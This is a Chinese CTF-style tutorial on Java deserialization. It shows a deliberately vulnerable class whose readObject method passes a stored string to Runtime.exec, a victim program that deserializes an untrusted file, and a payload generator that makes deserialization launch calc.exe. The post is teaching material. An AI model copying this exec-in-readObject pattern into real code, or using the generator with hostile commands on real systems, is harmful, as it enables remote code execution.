当前位置: 首页 > article >正文

ctf-web: 简单java反序列化示例

考虑如下易受到攻击的类

import java.io.*;  
  
// 这是一个可序列化的类,它的 readObject 方法被重写以执行危险操作  
public class VulnerableObject implements Serializable {  
  
    private String command;  
  
    // 构造函数接受一个命令  
    public VulnerableObject(String command) {  
        this.command = command;  
    }  
  
    // 关键漏洞点:重写 readObject 方法,在反序列化时执行命令  
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
        in.defaultReadObject(); // 默认反序列化逻辑  
        try {  
            // 直接执行命令(实际漏洞中不会如此明显,这里为了教学简化)  
            Runtime.getRuntime().exec(this.command);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
}

这个类实现了readObject方法


readObject 是 Java 中用于反序列化对象的方法。它是 ObjectInputStream 类的一部分,用于从流中读取对象的状态并重构对象。

在 Java 中,序列化(Serialization)是指将对象的状态转换为字节流的过程,反序列化(Deserialization)则是指将字节流转换回对象的过程。readObject 方法在反序列化过程中起到了关键作用。

以下是 readObject 方法的一些关键点:

  1. 方法签名

    private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
    

    readObject 是一个私有方法,通常在类的内部实现,用于自定义反序列化的过程。

  2. 默认实现
    如果没有在类中显式定义 readObject 方法,Java 将使用默认的反序列化机制。这意味着对象的所有非瞬态(non-transient)字段都将从流中读取并赋值给对象。

  3. 自定义反序列化
    如果需要自定义反序列化过程,可以在类中定义 readObject 方法。例如,可以在读取对象的字段之前或之后执行额外的逻辑。

    private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
        stream.defaultReadObject();  // 调用默认的反序列化过程
        // 自定义反序列化逻辑
    }
    
  4. 例子
    以下是一个简单的例子,展示了如何使用 readObject 方法。

    import java.io.*;
    
    public class Person implements Serializable {
        private String name;
        private transient int age;  // 这个字段不会被序列化
    
        public Person(String name, int age) {
            this.name = name;
            this.age = age;
        }
    
        private void writeObject(ObjectOutputStream stream) throws IOException {
            stream.defaultWriteObject();
            stream.writeInt(age);  // 手动序列化 age 字段
        }
    
        private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
            stream.defaultReadObject();
            age = stream.readInt();  // 手动反序列化 age 字段
        }
    
        @Override
        public String toString() {
            return "Person{name='" + name + "', age=" + age + "}";
        }
    
        public static void main(String[] args) throws IOException, ClassNotFoundException {
            Person person = new Person("Alice", 30);
    
            // 序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(person);
    
            // 反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            Person deserializedPerson = (Person) ois.readObject();
    
            System.out.println(deserializedPerson);
        }
    }
    

    在这个例子中,Person 类实现了序列化和反序列化的自定义逻辑。虽然 age 字段被声明为 transient,它仍然通过自定义的 writeObjectreadObject 方法被序列化和反序列化。


形象的来说,被实现的 readObject方法相当于php的 weakup__,会在类被序列化完成后进一步对类操作

假设客户端代码是这样的

import java.io.*;  
  
public class VictimApp {  
  
    public static void main(String[] args) throws Exception {  
        // 从文件加载并反序列化对象(模拟接收外部数据)  
        try (FileInputStream fis = new FileInputStream("payload.bin");  
             ObjectInputStream ois = new ObjectInputStream(fis)) {  
  
            // 反序列化触发漏洞!  
            Object obj = ois.readObject();
        }  
    }  
}

我们可以写出利用代码

import java.io.*;  
  
public class GeneratePayload {  
  
    public static void main(String[] args) throws Exception {  
        // 1. 创建恶意对象:反序列化时执行 "calc.exe"(启动计算器)  
        VulnerableObject payload = new VulnerableObject("calc.exe");  
  
        // 2. 将对象序列化到文件  
        try (FileOutputStream fos = new FileOutputStream("payload.bin");  
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {  
            oos.writeObject(payload);  
            System.out.println("恶意序列化数据已生成:payload.bin");  
        }  
    }  
}

http://www.kler.cn/a/588116.html

相关文章:

  • FakeApp 技术浅析(四):卷积神经网络
  • 线程-进阶
  • C语言之共用体
  • ETL与ELT核心技术解析:如何选择最优数据集成方案
  • 树莓科技(成都)集团:如何铸就第五代产业园标杆
  • BUG日志:Maven项目启动报错(文件名或者文件扩展名过长)
  • 2.2[frontEnd]ESLint
  • android 通过action启动Activity拦截,Activity应用组件添加intent-filter priority(优先级)不生效
  • AF3 make_pseudo_beta函数解读
  • 【菜鸟飞】Conda安装部署与vscode的结合使用
  • 技术解析:基于AI+云计算的智能呼叫中心系统如何重构零售行业服务生态?
  • 数据结构与算法-图论-欧拉路径和欧拉回路(有向图和无向图,骑马修栅栏,单词游戏 play on words)详细代码注解
  • 实践 PyTorch 手写数字识别
  • 查看debian的版本信息
  • Linux系统下如何部署svmspro平台
  • vue3系列:vite+vue3怎么配置通过ip和端口打开浏览器
  • 设计模式,持续更新
  • 数据结构------线性表
  • EDAS:投稿经验-word版本-问题解决
  • C语言_数据结构总结9:树的基础知识介绍